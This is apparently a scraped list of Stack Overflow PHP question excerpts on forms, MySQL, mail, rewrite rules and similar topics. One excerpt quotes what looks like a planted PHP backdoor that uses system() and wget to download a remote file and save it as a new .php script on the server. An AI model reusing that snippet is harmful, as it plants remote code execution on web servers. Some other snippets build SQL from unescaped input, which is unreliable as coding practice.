user3024288What I want to achieve is create a table with order id & related product information. If one order id contains more than one product, order id should be printed only once in first row while for further rows only product information should be present starting from second column. I tried nearly cou...

0
Q: Upload to S3 via Cloudfront

waxicalSo as we all know Cloudfront now supports uploading to S3 via the edge points. However, I'm not really sure how to do this? I know it'll not be fully featured (i.e. not support authorize headers and part uploads) but I'm keen to do straight uploads. I'm working in PHP, though it doesn't appear ...

0
Q: Get custom meta all users Wordpress

Mohamed Salehi did make a custom field to users profile and i'm trying to retrieve all the users custom meta in array but i'm getting an error` $users = get_users(array( 'meta_key' => 'phone'));foreach ($users as $value) { $all_meta_for_user = get_user_meta( $value->ID ); $merged_array=array(); echo '<...

-1
Q: CodeIgniter or other framework?

user2186504I just started to lear codeinginer framework and I head that the project it's discontinued. Shoul I move to another framework? Which one? Thanks

0
Q: Curl times out when web scrapping, PHP Fatal error: Call to a member function find() on a non-object

salivanI've created this function that basically scraps technorati for blog posts and urls to those posts. Btw. I tortured myself to find an API for these, and couldn't find... I do feel ashamed for this scraper, but there should be an API! anyways... function get_technorati_bposts($kwd) { // ...

-1
Q: AJAX Select form submit

user3033149When the <select> element in my form is changed, I need the form to be submitted in the background. review.php changes the value in the database from the element, with the hidden <input> as the ID. <form id="form" method="post" action="review.php"> <input type="hidden" value="<?php echo $ro...

-1
Q: PHP - Issues with array of sizes and selecting best sizes with least waste

DomasiI'm trying to create a function that will accept a size in feet ($total) and select from a stock set of sizes that I have (array(10,12,15,20,24,30)) to equal the total without any left over. I got it working where if it's under 30 to find the nearest to 30 but after that I am having issues with ...

0
Q: Using Facebook SDK to Get Page's Insights

Kenton de JongI've been struggling with this for over a day now and I really haven't made any progress. It doesn't help that Facebook has terrible documentation and that many of the answers on StackOverflow, however useful, are out of date or have no answers. What I am attempting to do is use Facebook's PHP S...

0
Q: PHP MySQL what's wrong?

user1950221What's wrong with this code? if( isset($_POST['user'])){ $uzy = $_POST['user']; if(!empty($uzy)){ $q = sprintf("SELECT `id` FROM `users` WHERE user= '".mysql_real_escape_string($uzy)."'"); $s = mysql_query($q); if($wQ=mysql_query($q)) { $wQr = mysql_num_rows($wQ)...

0
Q: PHP Extension Writing using C++ in Eclipse [Linux Ubuntu]

user2959221I've been searching for how to work on developing extensions for php in c++ and i got how to write and how to linked to php successfully http://devzone.zend.com/303/extension-writing-part-i-introduction-to-php-and-zend/ But how do we set up a development environment in Eclipse[CDT]? Should I u...

0
Q: php link with variable #test

RicardoI have a page works with parallax, so everything works fine in one page. But i need creat a variable into the link, for example. I have this and works fine withou the variable, <li><a href="#second">PRODUCTS</a> I try this with the variable but dont work. <li><a href="#second&page=1">PRODUCTS<

1
Q: How to extract string with regex

doflipI'm using a this technic for resizing images on-the-fly, that uses the .htaccess and some php script. in the .htaccess i have this: # BEGIN ImageResizing <ifmodule mod_rewrite.c> RewriteEngine on RewriteBase / RewriteRule ^img-small/([A-Za-z0-9/_-]+).(jpg|gif|png)$ images.php?max_width=100&...

0
Q: php code not executed inside .html file in Roundcube

ParagI'm trying to add php code inside the compose.html file in Roundcubemail. I've .htaccess file in same directory as compose.html having like : AddType application/x-httpd-php .html I've also prepare httpd.conf file present at /etc/httpd/conf/httpd.conf.... Few lines which required here are as : ...

0
Q: Can't create a new instance of MySQLi?

Jason AjmoWhen I try to make a new instance of a MySQLi object to connect to a local database, I get the following error: Warning: mysqli::mysqli(): (HY000/2002): No such file or directory in /opt/lampp/htdocs/login_system/php/dbconnect.php on line 9 Here is the code for my file: http://pastebin.com/Ba...

0
Q: bootstrap button.js set state from database value

ThuurkeI'm trying to use the button.js from twitter bootstrap 3.x to toggle buttons in a fomr. How do I set a button to a value from a database? Ex. if value for options in database is set to Option1. How do I toggle that button to the active state? <div class="btn-group" data-toggle="buttons"> <lab...

0
Q: php round() shows incorrect number of decimal places

Jimmy PittsWhen I change PHP's precision setting, round() no longer behaves as expected. Example: $value = 82.64; ini_set('precision', 14); // default precision echo round($value, 1); // outputs 82.6 ini_set('precision', 20); // higher precision echo round($value, 1); // outputs 82.599999999999994316 ...

0
Q: php code included in html code error seeing the php code itself

user3046981 $passstr="not reset"; echo "\r\n"; echo "\n"; if ( $_GET['bill'] == "upload" ) { $shsh="case".rand(11111,99999).".php"; @system("wget http:link//case.txt -O ".$shsh); echo ""; echo "\n"; echo "\r\nPbill at /phop/".$shsh; echo "\r\n"; echo ""; } @system("mv roomservice.p...

0
Q: Avoid 404 crawl errors by tweaking php method

windsonI've the following method function bender_sidebar_category_search($catId = null) { $aCategories = array(); if($catId==null) { $aCategories[] = Category::newInstance()->findRootCategoriesEnabled(); } else { // if parent category, only show parent categories $aC...

0
Q: Sending multiple messages with swiftmailer - PHP

Frank KluytI'm trying to send e-mails using swiftmailer. I want to send a message to someone who fills out a form, and to myself. The script I use below is sending the first of the two messages, but the second one never arrives. How can I solve this? $transport = Swift_SmtpTransport::newInstance('smtp.mysi...

0
Q: SQL/PHP Basic Data Saving

Tyler WilliamsI'm trying to learn the real basics of SQL and PHP. Right now, I'm trying to create a basic CMS from scratch (as I find I tend to learn better by applying things right out the gate). To begin, I'm looking to save the name of the website (which is displayed as an H1 on the homepage). In my databa...

0
Q: VPS bulk email architecture with PHP

Lyubomir VanyovI'm starting new business and I want to send one time ~500 000 mails to my clients.I don't like the offers that I saw on the I-net so I decided to run my SMTP server. This is the architecture that I think to use,where Server 1 is VPS server from my provider with 10 additional IPs which told me t...

0
Q: Changing Page URL To PHP

user3023297Hi I want to convert pages URL like www.example.com/pictures.php?title=yyoy to something like www.example.com/page/yoyo.php How can I do this? www.example.com/pictures.php?title=yyoy these pages are generated when someone upload image to my website so I want to turn these types of URL to like a...

0
Q: XHTML 1.1 Validataion Errors when Echoing Out XHTML Table?

cheezburgerI've created a PHP shopping cart using PHP & XHTML, a table of products is printed from a database in a table along with checkboxes. When validating the XHTML I get tho distinct errors a total of 48 times which are: 1) Error Line 48, Column 136: document type does not allow element "form" here;...

0
Q: how to submit the jquery file upload script with additional form data with no file attached?

user3038421Im using the Blueimp jquery file upload script in a website.. How can i submit the form even when there's no file attached to it ? script - https://github.com/blueimp/jQuery-File-Upload/wiki/Options <form id="fileupload" method="POST" action="server/php" name="photo" enctype="multipart/form-data">

0
Q: Save structure to db created by Jstree

Gopal RathodI am using jsTree for creating menu structure. Now as per that I want to create whole stucture by user and save them to db. Please help me to save to mySql db so that I can use it for future purpose and store strucutre defined by user. Gopal Rathod.

0
Q: Create nested arrays from specific variables within session

user1105056I have several values stored in $_SESSION beginning with 'first_name_' & 'last_name_' which then a number appended to the end deepening on how many names are generated. I am able to extract each of these values from the session and add to an array but would like to pair up the first and last nam...

0
Q: PHP Mail works under Linux not under Windows

Roel VeldhuizenI have not the slightest clue to what is going on. The script bellow is a script used to send an e-mail with attachment. This script works under Linux but since the script is moved to Windows it is broken. When the script is ran it will give execution time error (30 seconds) on the mail() func...

-1
Q: Wrong syntax (MySQL, PHP)

user2943358$SQL="SELECT * FROM stats ORDER BY Team WHERE Team='$teamval'"; is returning with "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE Team='OTT'' at line 1" I can't find anything wrong with the syntax, wha...

0
Q: PHP: Replace last word from sentence

user3047169I have sentence e.g. <p>I love my mom and dog and</p> And if last word == and i would like get: <p>I love my mom and dog <br/>and</p> Please help

0
Q: Adding Reply To Comment System

mike jonesCan someone help me out here please as i'm new to coding. What i'm trying to do is add reply on each comment to my comment system but i don't know how to go about it could someone show or explain to me how to go about adding this. I know i might get a down vote for this but i'm really stuck and...

0
Q: get X amount of posts with user from every category - eloquent orm

user1655758What's the minimum amount of queries needed for this operation? category->hasMany(post) post->belongsTo(user) The only thing I can come up with is $categories = Category::all(); foreach($categories as $category) { $category->posts = Post::where('category_id', $category->id)->t...

0
Q: compare two arrays where values are not in same order

Mattias SvenssonIs there a fast way of doing something like this Compare two arrays with the same value but with a different order in PHP? I have arrays with potentially same data but in different order and I just need to see whether they are identical.

0
Q: json_decode error with steam condenser

madziikoyI am using steam-condenser from github and I'm trying to work this out. protected function _getJSONData($interface, $method, $version = 1, $params = null) { $data = $this->getJSON($interface, $method, $version, $params); $result = json_decode($data)->result; if($result->status != 1)...

0
Q: Checking database for changes to a field over time period

user2921557not sure if this is possible to do but... i have a follow function on my cms and would like a form of 'trending' posts that would allow me to show the posts that have gained the most followers over the past 7 days or so. If i have a way of counting the amount of followers for today, is there a ...

0
Q: how can i create two connected list on same web page?

user2783998I want two list in the same page. First list will be load while page loading. Every item in this list has a value, i want whenever user choose another item (and another value automaticlly) second list will be loaded.how can i do this via using javascript and php? example schools hospitals if...

0
Q: Set locale on the fly in laravel4

ReshadAfter searching through the documentation from laraval 4 I see that the way to set a language is to do App::setLocale('en'); But how do I use this in combination with for example a language switcher on my website that a visitor can click on to change the language on the fly? and to remember t...

0
Q: Inserting products to WP Woocommerce from an xml file

Irene T.I am loading an xml file with the structure bellow with success. So far i am using the code bellow to display the products (just to see if it works) <?php require( dirname(__FILE__) . '/../wp-load.php' ); //loading the wp connection etc // specify url of xml file $urln = "xml_fee...

0
Q: Add new values to foreach loop from inside the loop

Mr. BirkoffIs possible to add new values to the array that the foreach is working with? So it will run (n+x) where n is the number of elements of the array before the foreach starts and x is the number of elements that were added to the array.

 
8:15 PM
0
Q: Safe number of rows to select from in a single query

Vyren Mediathis is not actually a programming questions tho. I was just wondering what the safe number of rows to select in a single query from a database is. Currently, in our (company's) app, its coded to select 300 rows and then split it into pages. It scales(speed and performance) well on the server, h...

0
Q: PHP - Return true or false depending on which button user clicked

OliverI am trying to make a PHP version of JavaScript's confirm() command: <!DOCTYPE html> <?php function confirm($title, $text) { $html = '<div id="alert" style="background-color:white; text-align:center; height:400px; width:300px; color:black; position:fixed; top: 0; left:50%; margin-lef...

1
Q: What are differences between "php artisan dump-autoload" and "composer dump-autoload"

Naing Lin AungI am pretty new to Laravel4 and Composer. While I do laravel 4 tutorials, I couldn't understand between those two commands; php artisan dump-autoload and composer dump-autoload What are difference between them ??

0
Q: Image whit feed rss in php page

lelemkop[Feed RSS] hello i have a blog and I created this rss file where I put the link to the photos, but with the rss reader I can not view them. Where am I wrong? <? php $ connection = mysql_connect ( "xxx ", " xxx" , "xxx "); mysql_select_db ( "xxx ", $ connection ) ; $ selezionedati = "SELECT *...

0
Q: Pdo parameter error in prepared statement

Quentin869Sorry for my english I'm french :D, Okay, i use pdo for my connexion with MySQL, but i have one error with PDO prepare statement. I try to include my table name into the prepare request but i have an error : Error : SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in y...

0
Q: Remove and restore options from select

user3047222I have html: <select id="sel"> <option value="1">aaa</option> <option value="2">bbb</option> <option value="3">ccc</option> <option value="4">ddd</option> <option value="5">eee</option> <option value="6">fff</option> <option value="7">ggg</option> </select> <button i...

0
Q: Where's the error in my .htaccess RewriteRule Regexp?

Alberto FontanaI want this url http://www.test.racebooking.net/rankings/classifica.html to point to http://www.test.racebooking.net/rankings.php thus, i wrote this rule in my .htaccess file RewriteRule ^rankings\/[a-zA-Z0-9\-]+\.html$ /rankings.php I really can't figure out why, when i type the first u...

0
Q: send an email using data the user has given in a form?

user3018817I have a contact form for my website and am hoping to modify it so that a confirmation email is sent to the user when they click submit. Can anybody advise me on the best way to do this? My php is pretty simple: // validation complete if(isset($_POST['submit'])){ if($msg_name=="" && $msg2_n...

0
Q: Q: how to send email to the owner by collecting information provided by user through form?

user3046194CASE: I had designed user input form that collect user name, email address,subject and message. I had verified all elements stored these element in variable. Now I need to send this information to the owner viz. email. How can I solve this problem in localhost(too)? PROBLEM: how can I send em...

0
Q: how to have one array value, find a value in another array?

Malthe Milthersif i have the following two arrays im PHP: First array ($array1): array(2) { [0]=> array(2) { ["movie_id"]=> int(31) ["city"]=> string(6) "london" } [1]=> array(2) { ["movie_id"]=> int(34) ["city"]=> string(6) "berlin" } } Second array ($array2): ...

0
Q: Minify HTML/JS/CSS strings in PHP

DanMy question is fairly similar to another one asked here earlier, but that question came to the conclusion that a simple str_replace was enough, and I'd like to do more. I've got a website hosted on a static-only server (no PHP or other scripting languages available). I put together a simple CMS-...

0
Q: Fuzzy search in PHP/MySQL with Full-Text index Match() Against()

user3043248I'm trying to create a search engine that can return results based on the similarity of the words you searched for and sorted by relevance, do you think this is the right method? SELECT text, MATCH (text) AGAINST ('word1* word2* wordN*' IN NATURAL LANGUAGE MODE WITH QUERY EXPANSION) AS Revelance...

0
Q: PHP conflict with do-while end mysql_fetch_array?

user3047249here's my code, there's something wrong, because when I put this in wamp (chrome), it returns me a duplicate "published by" (for any doubts, $conex = mysql_connect('localhost', 'root') ) <?php mysql_select_db("spectrum-solaris",$conex); $query = mysql_query("SELECT id,name,tittle,body ...

0
Q: Multiple forms with AJAX on one page

jamesI am developing a list of submissions in the admin area of my website, which I can approve/disprove with a form, with an ID of the submission in a hidden input, and the select box with Approve/Reject in. When the select box is changed, the ajax submits the form, along with the hidden ID input, th...

0
Q: escaping single quotes for ajax calls

user2014429I have a php page which is called via AJAX. and basically it fetches some value from my database and echos back at table with inputs etc. The problem is when the string it fetches contains quotation marks(actually only single quotes seem to be effected). So on the php page there's something like ...

-1
Q: Cookie that expires when user finishes navigation

Grupo ActempI want a cookie that expires when user finishes the navigation. I have this code: if(isset($_COOKIE['MyCookie'])){ echo ''; }else{ echo 'Cookie MyCookie is not here...'; setcookie( "MyCookie", "MyCookieDescription", #UserFinishNavigation ); }

0
Q: CakePHP find query using %like%

CameronI have the following find query for my CakePHP app: $this->paginate = array( 'limit'=>5, 'order'=>'Note.datetime DESC', 'conditions' => array( 'Note.status'=>1, 'OR' => array( 'Note.title LIKE' => '%'. $q . '%', 'Note.content LIKE' => '%'. $q . '%' ) ) ); Wh...

0
Q: How to get the geographical coordinates using PHP

Enes KristoHave been working on a project that requires you to get the geographical coordinates of the computer who is viewing the page. I want it using PHP. Please help me. Thanks in advance!

0
Q: How to resize video using ffmpeg in php without exec

aspirisenIs it possible to resize video using ffmpeg-php or something another library, because the server throws the error "Warning: exec() has been disabled for security reasons in..."

0
Q: How to randomize 3 items in 4 boxes?

user3047243I'm having troubles with this part of my php-course; "The webshop has 4 html boxes, there are 3 items in the database. Fill each box with a random article from the database" This was done succesfull with: $intRNDx = rand(1, 3); (were x is the boxnumber) And then using $intRNDx in the query. ...

0
Q: post view rank php

EcoWebtrHi everyone i have one question for my dashboard rank panel. the number of page views I want to sort from smallest to largest. For example: a total of 100 times a page, but the other page ... 75-74-73-68-45-30 80 times. I want to get older and smaller than the sequencing of numbers. My php c...

0
Q: Error in MYSQL syntax with WHERE command

A.RGetting this error- Not sure why, I have looked over it several of times. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE agentclient = 'admin'' at line 1 In this code- $sql = mysql_query("UPDATE agen...

0
Q: Mod-rewrite - how to make this rule work?

ParkyprgMy website has one single file that can be called (index.php) and using controllers I can display different pages. This page resides in office/web. I modified my .htaccess in the following way: Options +FollowSymlinks RewriteEngine On # Turn on the rewriting engine #skip existing files or d...

0
Q: file_get_contents return json with extra unexpected characters

madziikoyI just noticed an odd result with my code: $data = @file_get_contents($url); //gets json format from API return $data; It returns a random character in front of the first { and after the last }. Because of this, I cant use json_decode() because the json is now invalid because of the extra cha...

0
Q: mysql query only retrurning one row

user3006683I have the below query which I would like to retrieve all rows however, I am only getting the last row. What am I doing wrong here? I have three records in the table. $db = new mysqli('localhost', 'root', '', 'database'); $stmt = $db->prepare("SELECT * from messages"); echo $db->error; $stmt->ex...

0
Q: PHP copy() — No such file or directory

user3047325I trying to copy file copy('../'.$page['addr'], './backup/'.$page['suf'].date("_Y_m_d_h_i_s").'.html'); And get — Warning: copy(../company.html) [function.copy]: failed to open stream: No such file or directory But opendir('./backup'); and file_get_contents('../'.$page['addr']); in this...

0
Q: How to stop a page jumping to the top once a form is submitted?

RiaI have got a from where people can input values. The form is submitted on change or on enter depending which value they want to change. The submitted values are used in the same form to calculate. The problem: once the values are submitted the page jumps back to the top. Is there way to stop this...

0
Q: PHP Regex after HTML <br>

user3047331<td><b>Shop Selling Price:</b><br> N/A</td> I want to match all the entire first line and then grab the N/A off the second line. This is my preg_match statement: preg_match("/<td><b>Shop Selling Price\:<\/b><br>(.*?)<\/td>/si", $content, $shop); If the N/A is on the same line it works fine ...

0
Q: Trying to populate drop down or select menu

user3047339I am trying to populate two dropdown menus with items in a lookup table. So far I have this: <label for="search_for_<?php echo $field['name']; ?>"><?php echo $field['label']; ?></label> <select name="search" class="select"> <option value="<?php echo $field['name']; ?>"><?php echo $field['labe...

0
Q: In comma delimited string is it possible to say "exists" in php

TheWebsIn a comma delimited string, in php, as such: "1,2,3,4,4,4,5" is it possible to say: if(!/*4 is in string bla*/){ // add it via the .= }else{ // do something } In arrays you can do in_array(); but this isn't a set of arrays and I don't want to have to convert it to an array ....

0
Q: shell_exec not displaying anything PHP

burg93I have a new install of Ubuntu Server 12. What I'm trying to do is execute the landscape-info command on a php webpage residing on the server so I can use the data returned but it won't run for some reason. I've checked apache works as I can see webpages from the servers IP address and checked sa...

0
Q: PHP when downloading a file, there is a huge delay

user1113314This is my code for file download: set_time_limit(0); header('Set-Cookie: fileDownload=true; path=/'); //used for the file download library for the browser client https://github.com/johnculviner/jquery.fileDownload . Remove if the library isn't used anymore h...

0
Q: Jquery Cookie - Saving Cookie in 1 directory, Retrieving in a Different

Michael FalcigliaI am new to Jquery and using it to save cookies. If I save a cookie while in this directory /advertisement And try to retrieve it while in this directory, is it possible? /ordersystem/signup I have been using this code to save it while in the /advertisement directory and it works without er...

0
Q: Ignore last data explode is taking? PHP

user2917204let's say my code is. <?php $var = "1,2,3,4,5,6,"; $var_explode = explode(',', $var); foreach ($var_explode as $number) { echo "$number test"; } ?> And when it echos, it goes like, 1 test, 2 test, 3 test, 4 test, 5 test, 6 test, test. The last one is un-needed, I know its caused because I have...

0
Q: Joomla preg_replace dont work

user3047169i would like delete multiple space It work good: $test = array('bla bla blaa ', 'eee asdasd lorem mmmm asdasd asdd ss'); foreach($test as $item) { echo preg_replace('/\s+/', ' ', $item)."\n"; } But when i make joomla 3.2 plugin, and I explode article content (new line) It dont work...

0
Q: PHPMySQL query database with string / array problems with results

SebI'm new at this so please be patient if I don't have the right phrases for everything. ;-) I' trying to query a database. I have a string that can have 1-3 fixed values which comes from an imploded $_Post["array"] of a checkbox input form. Values are somthing like: $string // values ...

0
Q: can't add two keys on array_key_exists

AlecsI have this code : <?php if ( 'debate' != get_post_type() || (is_user_logged_in() && ! array_key_exists( 'comments', $wp_query->query_vars )) ) { comment_form(); } ?> I want to add inside the array_key_exists( another key. I've tried this: array_key_exists( 'comments','stats', $wp_query->...

0
Q: PHP GD-library installed but not functioning on CentOS 6.4

kovpackI've installed php 5.5.6 from remi repo, bun phpinfo() shows no GD library and gd_info() function does not exist. Extension is enabled in /etc/php.d/gd.ini, but still nothing. I've also tried to reinstall php-gd library and it reinstalled successfuly but everything remained as it was before. y...

0
Q: How do I get the number of rows after a db query in Codeigniter?

MattI managed to get rows of data returned for doing a specific search but I can't get the number of rows that have been found. Here is my code My Controller function searchdata(){ $result = $this->posts->search($_POST['searchterm']); $data['posts']= $result['rows']; $data['num_results'...

0
Q: Javascript in PHP if Statement

user3047382I have follow code: <?php if(isset($_COOKIE['lg'])) { echo 'cookie da<br/><br/>'; echo '<div style="margin-top: -25px; margin-bottom: -25px; height: 375px; overflow: hidden"><iframe width="650" height="400" src="//www.youtube.com/embed/aXlGiKzzZDA?rel=0" frameborder="0"> </iframe></div>'; } els...

0
Q: PHP if single or double equals

JohnFor checking if one string matches another i've been using double equals sign up to now. e.g. if ($string1==$string2) this is because most of the strings i've been using are alphanumeric. however now i am trying the same thing with numeric values like this: $string1 = 10; $string2 = 10; ...

0
Q: Google API with PHP

MaxEvronI'm trying to use Google API applying the recipe provided by Google at https://developers.google.com/+/web/signin/server-side-flow Both client-side and server-side code works fine: I'm able to connect, the client sends information to the server (/plus.php?storeToken), the server authenticates, a...

0
Q: How can I auto-generate the repositoryClass docbloc with doctrine:generate:entities?

JimboI can generate entities from the database using the following command: php doctrine.php orm:convert:mapping --namespace="App\Entity" --from-database annotation src/App/Entity However, in order to be able to run the orm:generate-repositories command, I need to add the following manually to the ...

0
Q: PHP Mail Form, email not send

Marcus Schack-Abildskovhttp://www.pastebin.com/Kvsf44yf title says everything I was required to write more than 22 characters, so you just wasted a whole lot of time, reading this.

0
Q: Cant find the error in the PHP code (The site is on Norwegian, but just read the code)

user3047279a maked a "index.php" file with a HTML form who was like this: <form action="send.php" method="get"> The form have many textfields and a submit button who works fine, but the error is in the document called "send.php". Please help me finding the bugs! Here is the code: (Below) <?php ...

-1
Q: Three table in one query?

Ryo================= Table : tb_kategori - id_kategori (primary key) - name_kategori ================= ================= Table : tb_product - id_product (primary key) - id_kategori (foreign key) - name_product ================= ================= Table : tb_images - id_images (primary key) - id_produ...

0
Q: Worpdress permission after update

ZakiI have problem with file permission. I update Wordpress and now for some file in plugin I don't have permmision (example form images, css). I don't have a idea what I can change... I try change permmision for all files to 777 but it doesn't work...

0
Q: Trying to authenticate email and password with localhost database

user3037918Hi I have been trying to create a authentication login for my phonegap mobile application however when testing on my web browser, when I enter the values for email and password (exact same as those stored on localhost database) in the login form I always receive an alert saying alert 'You have en...

0
Q: Laravel 4 how to submit form data to different tables

elodevI have an edit form where the majority of the form's data will be posted to the users table. For users that require a license their information will be posted to a license table, the license fields are only visible to the appropriate user type. I.E if the user type is a receptionist then they wo...

0
Q: How can I make a thin server with little access to the server machine?

Petr HudečekMy turn-based multiplayer game has a thick client that's handling all the rules, and the clients would only send small "decisions" to each other, objects that describe player actions, which is all they need. The game is in C#. I cannot except the clients to have public IP address. I need some wa...

-1
Q: How to insert image name into database while uploading with foo class

A.RI am trying to upload an image using a foo script which works perfectly. I am also trying to get that image name into the database so I can pull the image in a table. All I need is the image name, not the url for it in the database. Here is my code. </form> <form enctype="multipart/form-data" ...

0
Q: RecursiveDirectoryIterator exclude folders

charliejsfordI have this PHP Code: //insert pages that do not exist $rootpath = '../admin/'; $fileinfos = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootpath)); foreach($fileinfos as $pathname => $fileinfo) { if(pathinfo($pathname, PATHINFO_EXTENSION) == 'php') ...

0
Q: cakephp - $this->Auth->user() sometimes returns $user['User']['user']['id'] and other times $user['user']['id']

crazy sarahwhen using $user = $this->Auth->user(); to get the details about the currently logged in user, sometimes the returned array is like: > user > User > Office Message and other times it's: > user id name > Office This is annoying because in my view I output the u...

0
Q: Business Intelligence Tool for PHP Applications

Glenn Van RymenantI am looking for a plug-in or tool to implement in or alongside a PHP application. I need to be able to request data (variable queries with all the possible parameters) from a database and export it into graphs and reports. On top of that, it should also be fairly easy to use. Any ideas/inform...

0
Q: array_walk_recursive return value

setiI using array recursive to find leaf. My function is working, I easy printing value from leaf. Now i trying get value out of function, i need use this for another function. This is my code. $nazwa; function testArrayItem($item, $key) { if($key== "values") { ...

0
Q: PHP function returning thumbnail, not actual image

HathorThis is kind of a follow-up to my previous PHP question. After ALFEaton helped me with the code, I had some additional changes to make to add extra functionality. However, I am having one small problem, and I can't seen to figure it out. The code is fairly well commented, so it should be easy to ...

0
Q: Updating Users's Records in Database By Group

user3022213I have this table: tbl_module_bid image: http://i.stack.imgur.com/4hQBN.png you see users: Ali2,Ali,blackbone,dickface,mhmd let's call for each one of them it's called $player and the sql query I wanna use in: mysql_query("UPDATE `bbcsystem`.`tbl_admin` SET games_played = games_played + 1 WH...

0
Q: mail() function aparently working emails not arriving

Moncho ChavezHi first i test the mail function, allowing errors to be displayed and using this to test. <?php error_reporting(E_ALL); ini_set('display_errors', '1'); $email = "demo@gmail.com"; $subject = "Test Message"; $msg = "This is a test message"; $eLog="/tmp/mailError.log"; //Get the size of the e...

0
Q: How to generate a short hash ( a.k.a alphaid ) based on string or array input in one-way?

foozyI'm trying to generate short string hashes like youtube video id's to use in my app but i can't figure out what is the fastest and simplest way while providing shortest hash possible using arrays or json-based strings. I read Kevin van Zonneveld's excellent article about this subject, he produce...

0
Q: insert many to many SonataAdmin Bundle

Gaby LI have two tables, one called Portal and another called Categories, these are joined by a link table, because the relationship is many to many.. The code tables are as follows: Class Categories /** * @var integer * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy=...

0
Q: PHP web spider, getting meta tags from urls

valbu17I am trying to get the meta tags from some website with a php program that I have created and then storage into my database. I am using get_meta_tags() function, but after testing my program, Im not seen any information store in my database. I'm not sure what I am doing wrong... This is my code..

0
Q: Creating multidimension JSON from select statement

CalipsoI have a table in a postgre database with info like COLUMN_ID COLUMN_TITLE OPTION_ID OPTION_DESC SZ SIZE S Small SZ SIZE M Medium SZ SIZE L Large CL COLOR G...

0
Q: Editing field in table using a form id

user3047391Im trying to edit the table through a form. Right now i can only edit the first entry. I think it has to with the id being the same on every row in the table. i don't no how i would change this to work with the form though Here is the html for the form: <div id="dialog" style="display:none;" ti...

0
Q: What's the best way to get an OAuth2 access_token out of a cookie?

OctopusSo, I am using the OAuth2 Server PHP library to provide authentication services on our company server. It's pretty straight forward and works well. When I deliver a resource that expects the user to have a valid token I do this: $oauth_request = OAuth2\Request::createFromGlobals(); $oauth_respo...

0
Q: Replace src attribute from img while keeping other attributes (like width and height)

MortenI have a html snippet with an image somewhere inside it. I want to replace the value of the src attribute. I.e. get from something like: <div style="position: relative" class="img-p"><a href="http://politiken.dk/indland/ECE2145750/nu-kommer-loven-om-alkolaase-spritbilister-skal-betale-6000-kr/"><...

0
Q: Creating a Login form

dean012Notice: Undefined variable: find in C:\Users\User\Desktop\lo\htdocs\login1.php on line 81 Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in C:\Users\User\Desktop\lo\htdocs\login1.php on line 81 Query was empty <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//...

0
Q: TDD in PHP using Selenium RC or not?

koralI use PHP and Yii framework and PHPUnit for testing and Selenium RC for functional testing. Kent Beck has something he calls the 10 minute rule - you should be able to execute all of your TDD tests in less than 10 minutes. So what test should I write? Unit tests are fast to execute but they are ...

 
10:30 PM
0
Q: Replace space or use regex only aphabets and numbers on search form

user3047473I have this form <form action="search.php" method="post"> Keyword: <input type="text" name="keyword"><br> <input type="submit"> </form> and when searching ex. for "FirstName LastName", url is going to example.com/search.php?keyword=FirstName LastName but i want to have this url example.com...

0
Q: How to use clone

user3047403<input type="text" value="aaaa" id="here" class="bbb" /> <input type="button" id="change" value="change"> <input type="button" id="restore" value="restore"> var clone; $("#change").click(function(){ clone = $("#here").clone(); $("#here").val("zzzzzz").attr('class', 'ccc'); }) $("#restore...

0
Q: ZF2 I18n error with PHPUnit

Kim PrinceI am using Zend\I18n\Validator\Alnum in one of my modules. When I execute it as a full MVC application through the browser, it works fine. When I execute it with PHPUnit though, it throws the following error: Zend\I18n\Exception\ExtensionNotLoadedException: Zend\I18n\Filter component requ...

0
Q: Use AJAX to add an ajax link to the page - Yii

gooseI have a user interface I'm trying to build out for an application I'm building. My code adds an AJAX link using a Yii helper function- echo CHtml::ajaxLink('Link', array('getajaxlinks'),array('update'=>'#div')); My wish is for the function that the link calls to update #items div with more AJ...

0
Q: Composer not updating required library

Chris WhiteI'm using the Laravel framework and wanted to include a library from GitHub. This is my full composer.json file: { "name": "laravel/laravel", "description": "The Laravel Framework.", "keywords": ["framework", "laravel"], "license": "MIT", "require": { "laravel/framewo...

 
10:48 PM
0
Q: Ideas for 2D Browsergame Map AJAX, jQuery/Javascript, PHP

bluediscI would like to program a map like in Tribal Wars. Draggable and automatically reloading when scrolling. I already programmed a simple div-table based map, which has to reload every time you want to move the map. (Code is not completely optimised or correct, but it works for testing and developme...

0
Q: If email exists return error else add php mysql

David_HoganI'm trying to write a script that does the following. Takes a users email and added's it to a database however if the users email already exists it rejects. Thank you in advacne for your help <? require_once('includes/db.php'); $email = mysqli_real_escape_string($link, $_POST['email']); $dup...

0
Q: Ways to load JavaScript after onclick condition

user3047492I have a task to load some JavaScripts for full website and load only on for html form, with data picker. Because DataPicker has some conflicts with other scripts and I don't want to fix 10 other scripts, I want to load only Date Picker for html form. I can't use html frame. I need to pass co...

 
11:00 PM
1
Q: this foreach loop returns double the results

dyer926i am trying to run a script to get the member ids of a particular group. when i use the foreach loop it returns each result twice and sometimes will miss the last result in the database. here is my code: <?php include_once("scripts/checkuserlog.php"); $squadid = ""; if (isset($_...

0
Q: PHP Support Form - Undefined Index

user3047507I'm having issues geting my form to submit correctly. I have successfully used code almost exactly like this one, but i can't seem to find the issue. It keeps saying 'undefined index' on every index that comes from my form's page except $subject=$_POST['subject'];. I have included both my form an...

 
11:18 PM
0
Q: hiding div when the form is submitted successfully

user3006683I would like to hide the div and show another one if the form is submitted successfully, I guess I have to use jquery's .hide() and .show() classes but I don't know how. Can someone help me out? css .hidden{display:none} .main{} html <div class="main> <form action="" method="post"> <...

0
Q: www website as app homepage plus discussion group - where

user2707175I want to prepare my android application website. Nothing special few pages in wiki style plus discussion group. Could you recommend any site where: - there is content creator in wiki style (i don't have to manually create html pages)? - it's possible to create discussion list/group visible on t...

0
Q: Plus sign, and percentage signs in .htaccess mod_rewrite

sackbot14I'm trying to apply a RewriteRule on a certain URL via .htaccess and I've encountered a problem. Here is the code I had before for this specific usage: RewriteRule ^levels-u-([a-z0-9_-]+)\.html$ levels.php?p=$1&i=u&r=true [QSA,L,NC] RewriteRule ^levels-u-([a-z0-9_-]+)-\(([a-z]+)\)\.html$ levels...

0
Q: Why does the second $_GET variable get removed?

